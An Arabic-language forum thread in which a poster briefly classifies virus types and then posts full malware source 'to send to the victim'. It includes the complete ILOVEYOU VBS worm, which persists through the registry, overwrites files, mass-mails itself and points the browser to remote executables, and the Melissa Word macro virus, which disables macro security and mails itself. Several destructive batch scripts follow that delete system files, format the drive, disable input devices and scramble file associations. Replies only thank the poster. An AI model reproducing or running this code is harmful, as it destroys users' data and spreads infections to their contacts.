السلام عليكم ورحمة الله تعالى وبركاته اولا ناخد لمحة عن الفيروس شو انواعوا العادي (Trivial) : لا يفعل الفيروس العادي شيئا سوى التكاثر replication ولا يسبب أي ضرر أو تخريب للمعلومات . الثانوي (Minor) : يصيب الملفات التنفيذية فقط executable file ولا يؤثر على البيانات المعتدل (Moderate) : يقوم بتدمير جميع الملفات الموجودة على القرص إما باستبدال المعلومات بمعلومات لا معنى لها أو عن طريق إعادة التهيئة Reformatting مثل فيروس Disk killer الذي يقوم بإعادة تهيئة القرص. ويمكن حل مشكلة هذه الفيروسات عن طريق استخدام النسخ الاحتياطي الرئيسي (Major) : يؤدي الفيروس إلى تخريب المعلومات بإجراء تغيرات ذكية وبارعة للبيانات دون أن يترك أثرا يشير إلى التغيير الحاصل كأن يقوم بتبديل كتل المعلومات المتساوية في الطول بين الملفات كما أن تأثيره يكون على المدى الطويل ولن يكون من الممكن اكتشاف الإصابة إلا بعد بضعة أيام وبذالك لا يمكن الوثوق بالنسخة الاحتياطية أيضا. اللامحدود (Unlimited) : يستهدف الشبكات والملفات المشتركة وتمضي أكثر الوقت في محاولة معرفة كلمة السر للمستخدمين الأكثر فاعلية وعند معرفتها يقوم بتمريرها إلى أحد أو أكثر من مستخدمي الشبكة على أمل أنهم سيستخدمونها لأغراض سيئة. المهم ندخل الان الى صلب الموضوع اليكم بعض اكواد الخبيثة كل ما عليك هو فتح النوتباد ووضع الكود ولا تنسو حفضه بالامتداد الخاص به . طبعا حنا مش حنعقدها اكثر فيروس الحب ارسله للضحيه وخلاص انسى انه كان عندك ضحيه ( احفظ الفيروس بإمتداد vbs) [code rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / [email protected] / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Mcft\W indows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Mcft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\Curr entV ersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\Curr entV ersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs " downread="" downread=regget("HKEY_CURRENT_USER\Software\Mcft\I nternet Explorer\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Mcft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Mcft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Mcft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Mcft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy 7thjg/WIN-BUGSFIX .exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\Curr entV ersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Mcft\Internet Explorer\Main\StartPage","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.i ni") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M cft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Mcft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Mcft\WAB\"&malead, 1,"R EG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Mcft\WAB\"&a,a.Add ress Entries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Mcft\WAB\"&a,a.Add ress Entries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><**** NAME=@-@Generator@-@ &@#&@#&@#&@#&@#&@#&@#=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<**** NAME=@-@Author@-@ &@#&@#&@#&@#&@#&@#&@#=@-@spyder ?-? [email protected] ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<**** NAME=@-@Description@-@ &@#&@#&@#&@#&@#&@#&@#=@-@simple but i think this is good...@-@>"&vbcrlf& _ "<?-?HEAD><BODY ONMOUSEOUT=@[email protected]=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM# -#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@[email protected]=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM# -#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.****To(0,0);window.re sizeTo(wi,hi);}"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit "&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" dta2="set fso=CreateObject(@[email protected]@-@)"&vbcrlf& _ "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),ch r(39 ))"&vbcrlf& _ "code3=replace(code2,chr(93)&chr(45)&chr(93),c hr(3 4))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),c hr(9 2))"&vbcrlf& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@[email protected]@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Mcft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr( 91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr (93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr( 37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub [/code] كود فيروس ميليسيا المدمر كمان ارسله للضحيه وانسى انه كان عندك ضحيه : Private Sub AutoOpen() On Error Resume Next p$ = "clone" If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o rd\e curity", "Level") <> "" Then CommandBars("Macro").Controls("Security...").Enabl ed = False System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o rd\e curity", "Level") = 1& Else p$ = "clone" CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If p$ = "clone" System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo" End If Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name <> "Melissa" Then If ADCL > 0 Then _ ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If If NTI1.Name <> "Melissa" Then If NTCL > 0 Then _ NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If p$ = "clone" If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved = True: End If 'WORD/Melissa written by Kwyjibo 'Clone written by Duke/SMF 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. Im outta here." فيروس حذف الوندوز وتدميره : @Echo off c: cd %WinDir%\System\ deltree /y *.dll cd\ deltree /y *.sys call attrib -h -r c:\autoexec.bat >nul فيروس تعطيل الماوس + الكيبورد : @echo off C:\WINDOWS\rundll.exe mouse,disable C:\WINDOWS\rundll.exe keyboard,disable copy key.BAT C:\WINDOWS\startm~1\programs\startup copy key.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup copy key.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup CLS echo abohacker shutdown -s فيروس التلاعب بالملفات يقوم باخفائها وتغيير امتدادها : @echo off title VIRUS color a :1 dir/s goto 1 فيروس قتل البروسيس : @echo off taskkill /f /t /im "Process.exe" فيروس يقوم بخلط بين الامتدادات : @echo off assoc .mp3=txtfile assoc .xml=txtfile assoc .png=txtfile فيروس حذف ملفات sys وملفات dll يعني انهاء الجهاز : ( احفظه باسم autoexec.bat ) echo off@ cls call attrib -h -r c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat echo format c: /q /u /autotest >nul >>c:\autoexec.bat فيروس قتل ملفات الوندوز الاساسيه : ( احفظه باسم maker.bat ) del C:windows *.ini *.exe *.scr *.txt *.log del C:windowssystem32 *.ini *.exe *.scr *.txt *.log *.nls *.drf *.reg *.sys *.dll del C:windowssystem *.ini *.exe *.scr *.txt *.log *.nls *.drf *.reg *.sys *.dll هاهده بعض منها مش كلها طبعا ههههه ملاحضة:نحن ابرياء منكم امام الله ان استعملتوموها ضد المسلمين اهداء الى شهابي ومحمد والى جميع اعضاء ومشرفي منتدانا الحبيب نلتقي في درس اخر سلام
شكرا على الموضوع
بارك الله فيك يالغالي دائما مبدع وتستحق التقدير ... بالتوفيق
لا اله الا الله محمد رسول الله
المشاركة الأصلية كتبت بواسطة 3aziz_ziza3 شكرا على الموضوع شكرا لك اخي الحبيب - - - تم التحديث - - - المشاركة الأصلية كتبت بواسطة shhaby بارك الله فيك يالغالي دائما مبدع وتستحق التقدير ... بالتوفيق تسلم يا الغالي لو ما مريت لكان الموضوع ناقص
كل دي فيروسات تسلم
الف الف شكر
بارك الله فيك موضوع رائع من شخص رائع وشكرا علي الاهداء دا كتير وربنا =d
احذر مني لانك لا تعرفني لانك لو عرفتني لخشيت ان تنظر في وجهي وانا لن اخشي منك لانني لا اخشي من احد غير الله الذي فطرني ----------------------------------------------------- ----------------------------------------------------- my skype : mohamed.eid115 my facebook acc
مشاء الله مبدع... الموضوع افادني
...لن ارحم اي شخص بداء اللعبمعي...
بارك الله فيكم اخواني تسلموا على مروركم الاكثر من رائع
يعطيكـ العآآفيه ..
سبحان الله وبحمده .. سبحان الله العظيم MSN : waleed.rooot@gmail.com
قوانين المنتدى